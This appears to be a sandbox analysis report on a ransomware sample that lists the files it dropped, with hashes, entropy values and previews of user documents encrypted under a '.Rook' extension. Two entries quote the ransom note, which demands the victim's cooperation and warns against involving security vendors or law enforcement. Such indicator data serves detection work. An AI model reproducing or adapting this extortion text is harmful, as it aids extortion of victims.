ZFN....=..q

C:\Users\user\Desktop\WHZAGPPPLA\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\Word.lnk.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	5048
Entropy (8bit):	7.364423612454063
Encrypted:	false
SSDEEP:	96:+MgIMcCzfeeekxeeeeeeeezn8P7Ko4/AAUn5U50+NS43LPuLjv:+MgIMc2feee0eeeeeeeezRoiM5U50B4y
MD5:	A562C282D42528492A61B5B9081C51D5
SHA1:	A28CC57D5AA1790D9B55DE2B136D4D6C71170381
SHA-256:	129DAD9B1726ABA90B98A0A218630301079155C8C288675C6D483B45202C874D
SHA-512:	FF897399FB2CF7C342C1DD31997B944759B280524EFA2D7541971EB7DC29BFEC796A04C061C51C0B5A76349CF0CF5EC7480BA16CFADCE105044A0DEA00BCBB5B
Malicious:	false
Preview:	=..Mf.<,z.q".I....F.@.. ...!..E......F..... C.S..0............0..s..9.n..._...P.O. .:i.....+0.J...q......................1.....o.EhU..!ud .W1..t......sN.&.G..hi8..a.0.(..V.......J.........wFv.E...Y..!kuY.F.i.l.e.s...@.s..)tF.$Wv..B.....l.l.,.-.2.1.7.8..g.8W..K.]d....R....MICROS~2..R_.'U..qZ.}`.\.....................fNYF..)X...I...c.r.o.s.o.f.t. D..>....)......N.1......R....r..w...S....K...R..............5..7Md.8f?.......r.o.o.t.....Z....,A.[..O.J.oice16..B.......7..u<.....n....................d.u"u$..M..{.1.6.....b.2.0....m>.W..E0.<(...XE.H......R{.....\|.....]...=y..............F.rq.lU.!... s.dI.E.X.E.......j..tx3..]....._.2......i..............'.3...p.u2gram Files\Micro.`.."....K..9`.`\Office16\WINWOR....T8.o.....b]..t.e. .b.e.a.u.t......B...4..>r..u.m.e.n.t.s.,. Ubk&...v./wg7...o.r.k. .w.i.t.h.......{...p... .a.n.d. .e.n.j..D...1...:.....e.a.d...G.....\4E...E..V.bA~.\.....\.P.r.o.g..Z..9.......+..s.\.M.i.c.r.o.s...h.....!Y.c.e.\.r.o.o.t.\..K..V.

C:\Users\user\Desktop\ZUYYDJDFVF.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.848673197386503
Encrypted:	false
SSDEEP:	96:LeVRKMMGFsx7Ko4/AAUn5U50+NS43LPuLjv:qKgoiM5U50B43LPun
MD5:	A8A722C7A77D2889127768DE8917F99F
SHA1:	89DB83EECCF6086F57B99FBC540FF5E0756E4E0E
SHA-256:	F654DBC6FC01DEC6867B3FD891AE9225F0463D0A111B727F802DE96EED595D46
SHA-512:	8ED8ABE84114F9DD665D719A0FA81C42AA5BE328EE0A8764ED595F200E0438E7FC487C7C6E3FCB8DC71B8AF02745F3497E5BCBCE9BF35FC323E918030A95B3C2
Malicious:	false
Preview:	a.y.~...c..g....HHOQXTSNPBHYEJCG.,..Z...VB.DnoiXFIJJCFHWLJBBRXP.\|..2....K8..RKGXPKCSIOJRJCOVG.]b.,.......M.HHZFMUPHPRIFMSBK.>.\......a...KTIZUBENVCKWONAE..p....)......WHRSKEJQGLMLFOVZ5.v..<!. k.-\..NRPCFRMXETXWVNWK.....A.../.9t..RPKNHHHPCBRHKGMAY>..b...+...6..QHPHINYNDKJANQJM..^.e`..n....0.JCAYSHYANULGFODY]....yG.(P.e....ZLWLFIJAJVRDKLPM.o'.m..p.Nd..8v.PGQYOOPFXNAPEUAO%..=.qU%.b~j...EJJSMKMKLLVJGEXPD....mh.K..+....HDXCGDXDDDRPHFMG.x...G...b+#.^)iYZDVVDKDTUHIWYOXC.#.}g_{.\|0{.X..ZYOLJYMXKJBINMTAd.......'..T....ZFPZEAAQCBOJUMGW..........}....NPHYCLFFMVQNVWRZ.JI%.....e.!....PWNGFFAXTNIPSIXU[...m.....R.....INIWMMVVOLFCVETME..`6r`h.o.....vKZBACESLDLZKGFPY.o..6.U..U....DVXDZIDWPYWGIVQJ.H.Y..#..YhB..~.YYZEBWXZGOHXIBTI...]6.f.1.~..E.DHJUGEYGGJHUMVIY..t6w..w..=...IYSURLCGHWJYDTFJ-~@...%\V....V..HELNDROMZYRVVGUD........Ms...r.MSNQTGPQCPSMWKUY}...gF..........FLWZYBYCJBNYYIUSu.6.{\|..../.cF+HZQTCSUOROWJBLYK.^.:.T......-..YGWTHBHUFFQSHCUN....$dZ...W...WRGAFHTOABWPHIZIRw!.....]

C:\Users\user\Documents\BQJUWOYRTO.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.844320375931733
Encrypted:	false
SSDEEP:	96:J3v8DDjpJsB0N7Ko4/AAUn5U50+NS43LPuLjv:tv8nwB3oiM5U50B43LPun
MD5:	DE4E6A016D85E32C25D74E8A7832119D
SHA1:	37BC89F4450FAD75F747EC65B240B383177BE34C
SHA-256:	D03A326EA9BE0EB846FE44EA6C4504241CF28A558E79C611591DF34DF3935960
SHA-512:	761523626CCEDF861F1D370D5E088F556C9674646FC5D85C392D2DE87354A17066BACAC2CDD3AFA7519F28D008D7CDE840A68D1312D294A697718803B97693CA
Malicious:	false
Preview:	...#}...G.,-.,lXDLSWRNMFMCSYXRPD..]...7...\L.DYNKGJBBEKHPTUBS.......G...y....JPJKOPTWULSKKXLS...z...\..K0DL}BXKKCMYLLBRWPJMB.i..]...o......lRNGQLIDNRZYVXHIW6.o,..1.+_.....BKWCQQGPRFDTAZUL.............AIWAICBXNPXUMZFR]h{.........:.}PBODAVKDNOLRNYNBK..o:./<...\|...WKDRZIHJDDUPOXQOJ...C.M.&y.m$....PYCRBAHBBGKXGMOD.X......."..[S+>CUCKKJSLQYPIMPYZt.....6...z..7..QHTXZBXONOWDVDWQ^...b.._.....!!SFUGKZZBFUUTDDOM.........>...o8.SLPUXATPQGHCHIJR{.m..P.....N.=EDHOUMBJWJSCXGDM''.Q.N...I.l>..KRJCRXWGYTZRFYVO.c...?......{'P3FMPWSBHHWRRLBRKC..O..z..'>..F.PHYJGALXNLZXJVWW^.....f..0...cKRDQBGOXOULNHYYU..I...$........LNJBTSMXAWVUVUVK..WV.nc..%.)LqMJMFWUZTFVNALCFB...u...%G>&.6BZRVOPDFCORECRQJm....+r&...^c65.LXOISHLMFTEBKUAI~..v..}"..Gl,...LSIPNJTWJLGARSXD.f#.6....vTS.6d.LKQTPVOVXSGKMXEE..$y%y.$...M..`PXBVELHRSUIIUSGMEV.v..f.i...].SGAVGKNPMSZMHRWAK.3Wt.f@...S.T.?.LAAVOSTLMEJGFHJS...9....L..6.-uzUWSZMQZHAMPRHAWD.y....d.Nu.{\|.+ZNMBWVRFZTJLSUUU.fj...po..'..cZ~IJTNPLJBASLIHCUC....]...

C:\Users\user\Documents\BQJUWOYRTO\BQJUWOYRTO.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.844467405382177
Encrypted:	false
SSDEEP:	96:IJAE4o4Vp+7Ko4/AAUn5U50+NS43LPuLjv:IJAo4LFoiM5U50B43LPun
MD5:	87F021B32596569E45821DAAF12C3A8E
SHA1:	5CB9CF416D01FD4F03507CB9629FDF25DD873980
SHA-256:	2B9BE3D8E99D7A462AF756438C285F9FEA4D0FEDB88EFA3FACE099FEE5695525
SHA-512:	02BDB91082B5A17927944A8058C352502DF1CA53FF2488FD772F5B8B882C928F7B286566E0438FFEC16C6D96B29EFAEC321074E21973B9415595154590449C37
Malicious:	false
Preview:	.~kk.....g\p.^E.XDLSWRNMFMCSYXRP..d. .. L{.....4DYNKGJBBEKHPTUBSr.h...4.[..Y2..{JPJKOPTWULSKKXLSvy.n....v..M.k.BXKKCMYLLBRWPJMBs..1.iow....T..RNGQLIDNRZYVXHIW.`zQGJf=Hx.N..H.BKWCQQGPRFDTAZUL.0......f.e...;.AIWAICBXNPXUMZFR.T.y]...b.]^6.{BODAVKDNOLRNYNBK......E$...h..5KDRZIHJDDUPOXQOJtb/bQ........t.PYCRBAHBBGKXGMODw9.......v.s@..CUCKKJSLQYPIMPYZ %..y......s....QHTXZBXONOWDVDWQ.U......Af....cSFUGKZZBFUUTDDOMx..._.1.'.3....SLPUXATPQGHCHIJR..........h....\|EDHOUMBJWJSCXGDM..u..I..#..zt.KRJCRXWGYTZRFYVO..."....'...`7..FMPWSBHHWRRLBRKCJ.&..a.N.!..w..`PHYJGALXNLZXJVWW..^.d...W.]...KRDQBGOXOULNHYYU.Kw.o.8.V.?.'..LNJBTSMXAWVUVUVK.9.Z...9/.....MJMFWUZTFVNALCFB...........Sv..BZRVOPDFCORECRQJ....a.9.T0~...LXOISHLMFTEBKUAI..x;.,......\|MLSIPNJTWJLGARSXD7.....8....K...LKQTPVOVXSGKMXEE.%..:....F.\...PXBVELHRSUIIUSGM.....1..A'.;..GAVGKNPMSZMHRWAK.r.=e...../..&E.LAAVOSTLMEJGFHJS:$...3rvr...28.:UWSZMQZHAMPRHAWD.5...........ZNMBWVRFZTJLSUUU0mP.yY..m......IJTNPLJBASLIHCUC.....j..

C:\Users\user\Documents\BQJUWOYRTO\BUFZSQPCOH.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.845684463807537
Encrypted:	false
SSDEEP:	96:sujkooDgZuk7Ko4/AAUn5U50+NS43LPuLjv:suvoDgZuDoiM5U50B43LPun
MD5:	D4B26D20CE86928D232D6DE26FCDC2D3
SHA1:	DA2C1420D07BDA9A21DCEA56BE4970EF87B07D7E
SHA-256:	2E096242DC108CD9892582C15AC3939F10099972F020A30AC3266791EEC16377
SHA-512:	854EEEE013196E181CD5182C55115F0E3016361156000F2167F9627CCE776734BEA6DA482EDF3F4B4C3FE24730D8BFB459ECFE8CE1679EA6D55F0C720FCD170E
Malicious:	false
Preview:	..R.>)..T..<.n.HMHLNSRPRTVPDQBU..S.......k.2;DJEJWAHUKUUNHNOD(B}\...z..W...&.VUCIFBOWJXTDYGJY.I..0....].%.YN.HSRGGYVPVGUAROKT%.d.+.2i...e.yUNUVQUXGDDRCCFXN.j..<.....@.?..ITBSODAQBZRACSSJ..1y..."5.....p.NWLGQGIXRSOSOSXF...N.s.z.f...w.#KNLLIXAXMLRXRNSA....:.....O...sZZGQUPFGUIAACPLZ.!.(..=t.....S.EZHQMZKSQNGWWBKC5Cz.:#0......j.UCQBYNKOAKNKXZAU.q..Z-.W...zdMESNPTYNSPXUTDFYXEyx....K.K.R...CIBKOGMJGNSDDHJI.^&]?....@.._.;DMMSOGVDCESUEEHG$,.`.$...j.V.=G.LZEKAGRGLYLWFGMA.5...l...~7....LTUUXPEUGETZPBEK.I^..&.~Bg#.w..VDHIDSZROKAYGDUI....3,.d.......]QVJPAVOFSSUSZJNM.p[.~.-L.....#.AQEKDHCKCIVUYLXH_%j.....$.=K.0..MGKTRDESXVITCZNH_"...`0......u.SMCHTFHQMHCXBMKZ.0..z..L...6....GBJNFZWJWPLWVHAV.-.....L.M.L...VCMDUDJRJPWXFBWBC.}.....2F[E.n9QDFROZXDUUROLEJY;..!..n.A..W.5.8RYABQHMQMPXTIBHF...hZ.A.6$.u.5..WENGHOTDBECRYJDNO.0....e.?.....@YMCPEBELRZLSAHCI.../.~...X....ITMLNPHLHXANDSON.[.....yv.=/f..JKHEASISSKRWUYGF ...L..u.l...{AJQYLOQBNHYGIGKJ..2X.@..*HCx..%HDTONANJGYWXHUWU....+y..

C:\Users\user\Documents\BQJUWOYRTO\BWDRWEEARI.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.839648133506018
Encrypted:	false
SSDEEP:	96:i8CWPVxWO+H7AS9Q7Ko4/AAUn5U50+NS43LPuLjv:UauO+bASBoiM5U50B43LPun
MD5:	F623CEE081D35541219EC0914D5B8C0B
SHA1:	A1C01AF5A278D9E4A27E970A09566863428B92E5
SHA-256:	949BD2548A1E614BEDD8307770296E172B049019F9EDA4BEA460C01B7F313894
SHA-512:	B6CE4940DFA3577D2A2651E3262F0CDD11FC9A50A9B4F05FB822F5926357F28562AB41F0D2673EECD0A5172268115BF302FAC330992F4AB18995EACD0FF29762
Malicious:	false
Preview:	g.8...G...A1.=YFZKKDZROVEXHIWV.b..+....bR....UARELJDXJXCSHTPH:..%Oq....5.(...SWGLMRRJSEIGOIXH......4..@/...EYRRCAEYIYIDAZFY.b...%H..G(.B...QIAICZQWEBEGEFKV........Vm....mVMUNNYYOCDVZVNLFp>?.?.hC!.<.IR"]DRJAHLNPQBHYCZTY..1. ../.F.B.nc.LMPPSQZAAYPORMHIY.8..f.Q."i.j8.FIRXNFDVQZSZAWNVN.I.Y.......k...NFJJZSUQWRBLHJRB.>...\K..f2..1'YNHPPIXZOEZBTJVV.2../.........R.TZPXEFMEGBQIWJWE.....+R.T.SH1./VBYCRJHEAPKMQTFB...;g..r.GV1.q..FKBIVGOEKQTPROWJ..[%(......U...'DOYJHFLFDPWAUBFZb.X.bN..Dm.B..}.EFIGEXIWYKDNDXZD.p0..Y..,.'..r-.GEYCOTPSHBIHWNMFN....L...$.h.0.XRDUTNEVIVXRZAFTB.C.0t.Gch.:[B.gNNFAZREEJMMAYLCE..@.....q.D..j/AUDJBTIBXIGLQAUA.C.T\.v..~...;.AVBCBZQUROXOPVYH.+h..9.oV..h....VEVNCAEAGPJZDVRS..n..=.Gu.vS..eSKDCSULRFDCPIFAQ .~Gx).....i.YvFJQFDAXWIIRQOXDDH.....<]..t....7MTWWPRGTZDPGWXXO\.h%..4f..]%....UJGTQKFTJYBFZUIM.]3.")V.k.}..1..RSFZXSFZBBCYPRSA.H.*.k....JU....REJOCEEMMPDKFUGG`..6....T.&.....KBUNLSSHRUSLHBDF.?.Nt....^.7.oKjCHGINQIOTMAKGKPQ...QL.t..-`..2w.UPKQZAJUMMQGLLGA..K#..2

C:\Users\user\Documents\BQJUWOYRTO\GNLQNHOLWB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8437404235033785
Encrypted:	false
SSDEEP:	96:Zr0tjB68RoQJJV767Ko4/AAUn5U50+NS43LPuLjv:dL1oJXoiM5U50B43LPun
MD5:	B9A2ADAADF1D1C9C3E91E9D315B65C25
SHA1:	D155936B169791E0EBDFB17A451CBBD09A4C412E
SHA-256:	97E4B9E8B6B2D64C96ED11C0533CEBE951FD09CBA6100A274AB31EED1997C855
SHA-512:	51A88C33C981ED929DD25186C70263D46C554C0364564CF8D98570D9658EA0BF172C509EE0E3E18066744C964A4DEFFA364EE1A8BEFF039D67A36896717DB1B9
Malicious:	false
Preview:	S.....(=.jS.'W.TLNFGJNNXMGUZOMC..Uh......'..VRYLBVHOHRRAZCZO$e.>D0_....n...LDYZAFJGGGUXKDFDT..x."..{7f.^.%KNJPXNWQKOEVEVLW.n.....R..QhH.DUZGGIUHFXGBKGLA....w;.Yv....L.HYWEKXXBEZZVPBKV....4..9..W&.+VQNAPBMPJOZNNFCD..1..BWP..1W.=.SRGZTGXSYUNNLKZK..se...>.S.....LHMWTCZYYSGNSZQW...>....p[.4.W.ZVFQGHKVENDXCIHQ..72..`...ytG.kJHTLGYJROSCXNGTC.6..6j..$.'.j.`XTRIYCZVDEDWKBEH...7..s .<8&.mVQVFLHQRXMYLCHQAJK.kF..........=HVBDNWQMACXDCGCP.....p..3..3....UJMXEBPBCWJDOKOSf0.L..:...D.UBYQVAUUYDVCYUHDRU..gt....R...<.\|SHICTVCMWIDPOKQM....T.....8Z.=nWWFNEKDLAVDZNBHH@.%R.\|7..NT.,.Y.SVJTEIAUJEHUVHRJ .Z..........z!DNGHYAESSKWHOCXL5.7..v.Z....'.y.QEPWVDSSTKTYQDQT..;..B........zRECDIFCMPKXTYYNGi..R=j`.6ziL...5ULORZGHRQIQWLMHM...1t.....n.\|.*.MPWAGGPUJXOOYWOG...D.).~...1./I.LSJECCOVZVTAPKGA..l........iV.GXBKKPKPJFJOKZKMP+9.A.....!C.fNKEJJHHOVFETVBBFB.?\|..jN....A.+.fRJUKYZTGOFQUAVOGs......%a....4.dIRYUATBQRRVCNMFM...#}.XQ.nO..."CICPBMURXQOIITZC.6b)...<.'.X..ALRYCNLFILDCLQXD,It.'[~.

C:\Users\user\Documents\BQJUWOYRTO\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\BQJUWOYRTO\IZMFBFKMEB.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.836022139365805
Encrypted:	false
SSDEEP:	96:d1bqpZTcsrhGKdf7Ko4/AAUn5U50+NS43LPuLjv:TeXTZGoeoiM5U50B43LPun
MD5:	1A1D3ABD99896309215FAF4BF49B56DF
SHA1:	4838690C5AB25EAE53C908DA0510AD9E5E67C24C
SHA-256:	1212EE2AE26D37A429368EDB88D7AD4192C862B5C29540D7C82D704C695B9742
SHA-512:	E9869A7A1351AD7EC331385CC721A0818A157CFBC253EBFADF087C4FC8A1D9EED38D97E0A809D9E230A56C52F71DABFC59CE910A8ADA90406E496B6215387F99
Malicious:	false
Preview:	....-Z.Gj.o!E.w"YOGRJOKLUYKYEMJUc..L30....O.L{.LZNUOXWVNDZJRAOO;J...o+P.g..Z..PDNPIJFFQZDETQFK.p~.'W.:....!..NOXAVBJCARKFOKHIS...!8....LY..}.SEFFASUHHMDHUBAM.^......s..V."_LTUEBNLLDQOMZLGIp.).o=R<.(1....QAWHNDDSWUDEYOPPXdy..8..kp.....HPIWYDNDHUXDNYSLq.....M.%.Y...m9HEOVRBHVMIEIIBHE.afc.....B.....tXFOLUTZDUOKAMBBJ.U:..W<zv.[.avf.JGMPZZSAVFTSOBTV..%l....J.Y..sWUHYKYXWZSTJELLKR%_q.>;..h.>...TDAKMVDVNYWADPMN.....G=_..vC...HCRSDUXMKTYASRRO....&.m....k/xyOIBCKWHWPTJGKEQO.....{.U.o..c.YSUWDEDDGTJHWLZY!.C.r...A/.b..EAZUDOXSWLHJDIGSFk..o....D.)'..TAQHXCOAVPDFCQIEH2......k.r.nwU.uSPHGVTEDVHAWYWOO.o`.v.v..eE...B.IJQGRICKYUZPXLOZ.;..w_......'...UVJTEOTDEYCCRPCV..WCw..\.+Y..WLNMYIPCOLYFBDDS..6. '.S8+.M.sMSUSNBSGLDTYGEEB.$.a.....1M.B..PRTVXERTMYQWIYUT..)....02@..x..XMIYKWUXJBHOCOBA..TP_S..z.....KBPSQGRQDABKLPWJJ{Z.......Y....hFCHHDVYXDYYIUIOZD.....9.N..i:.N.JFMZOMVLIYUHJEAM..v.K....G....KsKHILQWXCRKUPFLJKR...A<-Q...A.qV.HJWSBCSSQMNJANAD;.D.....@v2.....ZETZWJFUFSMVAZQX.9o....a

C:\Users\user\Documents\BQJUWOYRTO\UBVUNTSCZJ.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.832116542138672
Encrypted:	false
SSDEEP:	96:vhCQINuwm/4UJqmQaagi7Ko4/AAUn5U50+NS43LPuLjv:q4/4aTQsoiM5U50B43LPun
MD5:	DC988C6A43AD76BFCD737302E90D435F
SHA1:	8E874698D45E3B5E70E8E974682684B53E9AE6B1
SHA-256:	445DAD294197176BA29DCDEC21720113FF0D032473A8CF9364F5C1A0EB8EF510
SHA-512:	9B55740E4ED593A0F3025F52E1DB53304061F3CA83690C0D6810D6496ECA584087C203F30D10959243A74D3F234C0D6E6D67402AA93154581911BF7C4D04D8B4
Malicious:	false
Preview:	V........{...-.ZLCTIUQFFTUXDGDM.I2)...#Qs.....STOXKFSFTPIFBIKUe....S.7..=....EEEUNDVTZSSGPULUe.3.g[..3......OQKVROLRJDHOOHJX.Y..U<a..w..r.L0EJCKLRVWCOLIIJKXR....H.x4.m...CFIUBQJSAAGFSLSZUR..)Q.38mMk.k..VRABMEABTSRVNHFA.....&..$....8.CHWOENBPZIRFFNIB~.6.A~...x...<!JYXIRUTOLTBLVSGV..1..D.x..0Q...PGXTFQAUQFHGAFMB..b....:9....tA.NIIKVYFFALFRMJLP..".r}...\.\.#.wVCRRTIKWLRPMCWOUI.Z.......[d..SmIZVGCFNRVDQJDBZFC5A..X...7..5`..FRJEDQXOLNJKZEAK$....J....a.LR.TRTDUFPLZDAQZOEV.c.MQ.:=.{..S..ENCESIPRLRHJPSJI..........1@PMJSJVKIRCJDUJTBi%ln0..uE..>...:CATMJTIPRCDTICNC^ j...JR...8...fVRUZXEVVHOCRAMAN..I(y.....J....FOMUVYGSTOPSLYTH...A>..f.'..I#..FBISOCNEJQIQSHCE...nj.R..!...0tLQLKPGBGVXXCAGMQ....L..H.&...h.OXXERANPKKZPXOUE..TC.8n...!.c...LBBDDBNPFYMAIQEN.P...X..%.......QZBZOZJSXPYCMWYG...._(.m....*C.MREQFHKKODROXTZN.:A...7....2.>..RVIHZNACJEUFOKBT..,7#CSc..J2_.P.SNIXNUGQEZKRSOOH.:..n,..^(.L}VX.ATAIQUBESVNNUPBT...H1..V.......cSXPLFTUDGBIUBNBE{q.F.xN.R...i..bUAERIXPFMGENDQBP2_..M..4

C:\Users\user\Documents\BUFZSQPCOH.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.843948487783746
Encrypted:	false
SSDEEP:	96:4iLlILMsNPReMQJjB7Ko4/AAUn5U50+NS43LPuLjv:fH8PRbUwoiM5U50B43LPun
MD5:	EDD65AA8C1391CF41037EA3DF0282784
SHA1:	98DA1BCF6569A6E9C7D171DBB2F43C3930B7B1FD
SHA-256:	02F63CDCB0554AE2904EBAE49E90C93EC70C14EE1DEA6DD8FD5F33AA9ADC16FD
SHA-512:	823DDD596DA8562D6C47ACD4F9884541B468FF1B0141CC6F39635C6D7ADEB03384ADAE843E96D2F38E3FC3CAA16923B30F22EBBC8DB0F627E90E0994F8BD3CF2
Malicious:	false
Preview:	!...i....g+vX0uHMHLNSRPRTVPDQBU.1.2.h......].MXDJEJWAHUKUUNHNOD.}RT6./..I+.>..VUCIFBOWJXTDYGJY[..\|..Z(kc.D..IHSRGGYVPVGUAROKT.s..+.../MP...UNUVQUXGDDRCCFXN.y...OT...$..e..ITBSODAQBZRACSSJ^.1".>x.....J...NWLGQGIXRSOSOSXF.}....d..<,5..KNLLIXAXMLRXRNSA.... .".O..t.u..ZZGQUPFGUIAACPLZ..P.y....@.N...\|EZHQMZKSQNGWWBKCO..;._<...o-..UCQBYNKOAKNKXZAUf...Y!....Nh.Vh.ESNPTYNSPXUTDFYX.dCE^.....k..WCIBKOGMJGNSDDHJI..d6ZarN..y'..!.DMMSOGVDCESUEEHGAy8:=.,.o.*.....LZEKAGRGLYLWFGMA-^.QE\.W.i.PV#.3LTUUXPEUGETZPBEK..._W..V.B......VDHIDSZROKAYGDUIw@.M<..4U....QVJPAVOFSSUSZJNM.4..h~O.n..j..AQEKDHCKCIVUYLXH.[.....L.i.D.evMGKTRDESXVITCZNH]Wv...0..d{-..4.SMCHTFHQMHCXBMKZos..e..c.R.....GBJNFZWJWPLWVHAV......%0Y......CMDUDJRJPWXFBWBCJ.n..."......FQDFROZXDUUROLEJY..8S(....,E...`iRYABQHMQMPXTIBHF.~.uYj.0........WENGHOTDBECRYJDN_8..E3...A.....SYMCPEBELRZLSAHCI....Bs...T...t.ITMLNPHLHXANDSON[...~..o.-. R..JKHEASISSKRWUYGF(......dP{.a.3AJQYLOQBNHYGIGKJ~....y@rSG.d..rHDTONANJGYWXHUWU.5.E..P^

C:\Users\user\Documents\BWDRWEEARI.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.847442172534485
Encrypted:	false
SSDEEP:	96:I5b8cZdtLtwN1277Ko4/AAUn5U50+NS43LPuLjv:I53tLtUkKoiM5U50B43LPun
MD5:	099A369AEC2A4DA0BEDD457156C02BA5
SHA1:	702928FD7C289DD7A867FD1826961BE85ACC29FE
SHA-256:	2D50765BBC9086C47E5A8BEE44F97C345C41355158B1BB8B0D9B2336D00C910F
SHA-512:	7A959657D53E794D67B2A25BADCF7D7AFB3CA5BDC2C7393480AD64D99E92C118AA9C3688C1C8EF33088A272A80A9419914B2A479547098C64320B091FEB58E2D
Malicious:	false
Preview:	:.G.$c.h.)g.'\|YFZKKDZROVEXHIWV..o.1M.!.....eUARELJDXJXCSHTPH.#3O~s.S.Q.H].\.SWGLMRRJSEIGOIXHh.a......(0....EYRRCAEYIYIDAZFYv}w.u.P........QIAICZQWEBEGEFKV#.awW....{N...VMUNNYYOCDVZVNLF'ly[.`".9....eX.DRJAHLNPQBHYCZTY..Y.!........>;.LMPPSQZAAYPORMHI.\...L......ri..FIRXNFDVQZSZAWNV...7'.. )A.\..NFJJZSUQWRBLHJRB..wH...@z-f..cYNHPPIXZOEZBTJVV.{4....q.c.y;!.gTZPXEFMEGBQIWJWE...M...o.0..%.aVBYCRJHEAPKMQTFBR.P.....(L...1OFKBIVGOEKQTPROWJ.(..D.J.h.uk.X(DOYJHFLFDPWAUBFZ/.:..I...d%$..EFIGEXIWYKDNDXZD...\..ZD.G.....GEYCOTPSHBIHWNMF...,.z...L]yF@..XRDUTNEVIVXRZAFT......O.t.....!NNFAZREEJMMAYLCEm.c....JK.8..+?NAUDJBTIBXIGLQAUA.G.X,....h.K...AVBCBZQUROXOPVYHZT....9.\|6.)Z.R5VEVNCAEAGPJZDVRSv..o.....R0..SKDCSULRFDCPIFAQ.F4R.5.rY..E..JQFDAXWIIRQOXDDH\8.?5n......K..MTWWPRGTZDPGWXXO...?..t2.....UJGTQKFTJYBFZUIM...Y{PS...^.TRdRSFZXSFZBBCYPRSA.2...-.lm)!W...REJOCEEMMPDKFUGG....uv.0.......KBUNLSSHRUSLHBDF..#T...8y...-..CHGINQIOTMAKGKPQ...+._....0.s..UPKQZAJUMMQGLLGAdo....~

C:\Users\user\Documents\BWDRWEEARI.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.841772931403153
Encrypted:	false
SSDEEP:	96:ktj/6Z2+D+i7Ko4/AAUn5U50+NS43LPuLjv:mMzDkoiM5U50B43LPun
MD5:	BD5E41A265B584FDDC9E05CED9F630B5
SHA1:	99621834A84EA517080726BBB3E1373A4A79769D
